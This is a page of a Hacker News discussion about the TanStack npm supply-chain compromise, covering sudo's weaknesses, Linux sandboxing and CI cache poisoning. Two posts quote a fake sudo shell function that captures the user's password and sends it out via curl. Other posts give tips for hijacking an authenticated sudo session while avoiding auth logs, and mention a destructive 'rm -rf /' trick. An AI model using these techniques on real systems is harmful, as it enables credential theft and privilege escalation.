Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Postmortem: TanStack NPM supply-chain compromise

tanstack.com

Post reply on HN
Print view View original

471–480 of 501 posts

Re: Postmortem: TanStack NPM supply-chain compromise

#471

Post by danudey »

xlii wrote: post #331
lrvick wrote: post #179

Earlier quoted context omitted.

Sudo is security theater. Malware can make a fake unprivileged sudo that sniffs your password. function sudo () { realsudo=$(which sudo); read -r -s -p "[sudo] password for $USER: " password; echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1; $realsudo -S /dev/null 2>&1; $realsudo "${@:1}"; }

Stupid thought. Make alias called sdo that echoes sudo path and hash every time you use it to stderr. That's security by obscurity though.

I mean, this is basically why you press Ctrl-Alt-Del to log in on Windows NT and Win2k - because it's a keystroke that malware couldn't trap, so they can't put up a fake login screen because the OS will override it anyway.

Re: Postmortem: TanStack NPM supply-chain compromise

#472

Post by danudey »

lrvick wrote: post #179
eqvinox wrote: post #158

Earlier quoted context omitted.

[On Linux:] If you didn't give yourself "free" (passwordless) sudo, that's not necessary… …unless it happened in a week with 2 and a half Linux kernel LPEs.

Sudo is security theater. Malware can make a fake unprivileged sudo that sniffs your password. function sudo () { realsudo=$(which sudo); read -r -s -p "[sudo] password for $USER: " password; echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1; $realsudo -S /dev/null 2>&1; $realsudo "${@:1}"; }

You don't even really need that; you just need to wait until the user runs `sudo` and then you also run `sudo` after they authenticate. Now you're root, boom. It doesn't get you the password, but once you're root you can backdoor to your heart's content and then you probably don't need it.

Alternately, run `sudo --non-interactive --validate` over and over until it succeeds. For some reason, using noninteractive doesn't log to the auth log/journald the way trying and failing to actually run a command would.

Edit: the loop only works assuming you can run this sudo command in the background in the user's shell so that you can pick up the same sudo session when they auth, which is honestly unlikely. Easier to wrap sudo in a command that just also runs sudo and then immediately runs something else.

Re: Postmortem: TanStack NPM supply-chain compromise

#473

Post by marshray »

danudey wrote: post #471
xlii wrote: post #331

Earlier quoted context omitted.

Stupid thought. Make alias called sdo that echoes sudo path and hash every time you use it to stderr. That's security by obscurity though.

I mean, this is basically why you press Ctrl-Alt-Del to log in on Windows NT and Win2k - because it's a keystroke that malware couldn't trap, so they can't put up a fake login screen because the OS will override it anyway.

There was no hardware or other low-level magic associated with C-A-Del.

Back in the NT days malware could totally intercept it, but it would have had to be in the kernel. Which was something of an improvement.

Thank you, DoD Orange Book.

Re: Postmortem: TanStack NPM supply-chain compromise

#474

Post by codedokode »

ashishb wrote: post #446
codedokode wrote: post #395

All of this happens because Linux doesn't have sandboxing built-in, and sandboxes on Linux are extremely difficult to build (if you want to have graphics and GPU access, sound, file access from sandbox and prevent access to hardware identifiers and serial numbers). Linux has sandboxes like flatpak, but they are leaky (flatpak grants access to /proc and /sys) and buggy (software like Steam inside flatpak sandbox has m…

Always run third-party code (especially npm packages) inside a sandbox, take your pick: ai-jail, bubblewrap, seatbelt, or amazing-sandbox (the last one, I wrote for myself after trying all others).

Bubblewrap doesn't help with protecting DBus bus (and you can do a lot with unrestricted access to DBus), accessing the GPU, Wayland and audio daemon. It cannot protect /proc and /sys filesystems. So it works only for simplest CLI programs.

As I remember, some Node.js utility (maybe npm) had a bug where it hang if there were no /proc filesystem because it couldn't figure out how many CPUs are available. Telegram crashes because of Apple's Grand Central Dispatch library if run in a sandbox without /proc. That's how bad things are.

Also, Chrome and Electron apps use SUID binaries to build their own sandbox. How would you sandbox an Electron app (obviously running an untrusted SUID binary is not an option)?

Re: Postmortem: TanStack NPM supply-chain compromise

#475

Post by anthk »

nightpool wrote: post #422
anthk wrote: post #373

Earlier quoted context omitted.

/usr/bin/sudo isn't evaluated as a function under ksh.

> And every other suggestion also doesn't work if the attacker can just replace the shell.

With what? rc? My only shells are sh, ksh and rc there.

Re: Postmortem: TanStack NPM supply-chain compromise

#476

Post by marshray »

anthk wrote: post #375
lrvick wrote: post #335

Earlier quoted context omitted.

A simple LD_PRELOAD command can cause your shell to run "rm -rf /" when you type "/sudo". If your unprivileged user is compromised, you are pretty hosed.

It should be a way to make system env vars (profile.d or simlar) as readonly so every users' shell had these set to empty values and unable to change them.

Shell-only, but https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V...

Re: Postmortem: TanStack NPM supply-chain compromise

#477

Post by nine_k »

Ciantic wrote: post #352

What I want to focus on is mental model of your CI pipeline, and problem with too much YAML, consider this quote: > Cache scope is per-repo, shared across pull_request_target runs (which use the base repo's cache scope) and pushes to main. A PR running in the base repo's cache scope can poison entries that production workflows on main will later restore. This is very difficult to understand, and teach to new people,…

Without caching, you build and rebuild and rebuild the same things over and over.

With caching, a less strictly managed stage, such as a routine PR build, can affect high-stakes stages such as production builds. But if your builds are reproducible, and dependencies pinned, it should not make a difference.

Old-school scripts have the disadvantage of being slower than a more nice declarative approach, be it makefiles or docker build. Both provide a way to trace the build process in detail; observability is key.

Re: Postmortem: TanStack NPM supply-chain compromise

#478

Post by nozzlegear »

stickfigure wrote: post #464
nozzlegear wrote: post #247

Earlier quoted context omitted.

FYI, in English the phrase "since years" is grammatically incorrect and sounds unnatural to a native speaker's ears. The correct phrase would be "I've been using that setup for years." /aside

I hear it from many native speakers. The deliberate incorrectness is a sort of cutespeak. "Since... years". I can't stand l33tspeak but in this case I think the kids can stay on the lawn.

I don't think I've ever heard a native speaker say it, but I could definitely imagine it coming out of a native speaker's mouth with that pregnant pause, specifically. Like an acknowledgment that you're about to say something a bit grammatically awkward.

I only mentioned it because I used to think correcting people's English was rude, until I had a long work engagement with a French guy whose English was pretty good but not quite native. He insisted that I correct his written English if I saw a mistake (i.e. in documentation, proposals, etc.), otherwise he wouldn't learn where it was wrong and how to improve it.

Re: Postmortem: TanStack NPM supply-chain compromise

#479

Post by nozzlegear »

TacticalCoder wrote: post #455
nozzlegear wrote: post #247

Earlier quoted context omitted.

FYI, in English the phrase "since years" is grammatically incorrect and sounds unnatural to a native speaker's ears. The correct phrase would be "I've been using that setup for years." /aside

> The correct phrase would be "I've been using that setup for years." Oh TYVM. Native french speaker here so it'd be the literal translation of: "depuis des années" . Weird thing is I'm pretty sure I've read it written like that... for years ; )

No problem! If it weren't for that one phrase I would've thought you were a native speaker, your English is very good.

Re: Postmortem: TanStack NPM supply-chain compromise

#480

Post by KajMagnus »

Yokohiii wrote: post #394
ricardobeat wrote: post #324

Earlier quoted context omitted.

Those are two different attack vectors. The exploit they used on Github Actions would work for either npm or pnpm. But the replication part using postinstall scripts, once it is installed on another machine, would be stopped by pnpm. What I'm curious about is: how can you poison the cache in CI, if the lockfile has an integrity hash for each package? Did the incoming PR modify pnpm-lock.yaml? If so, that would an obv…

From what I understand they've wrote the poisoned payload directly to the file system where they've expected another package exists. You only need to know what hash is going to be created.

How do you know the hash in advance?
Post reply on HN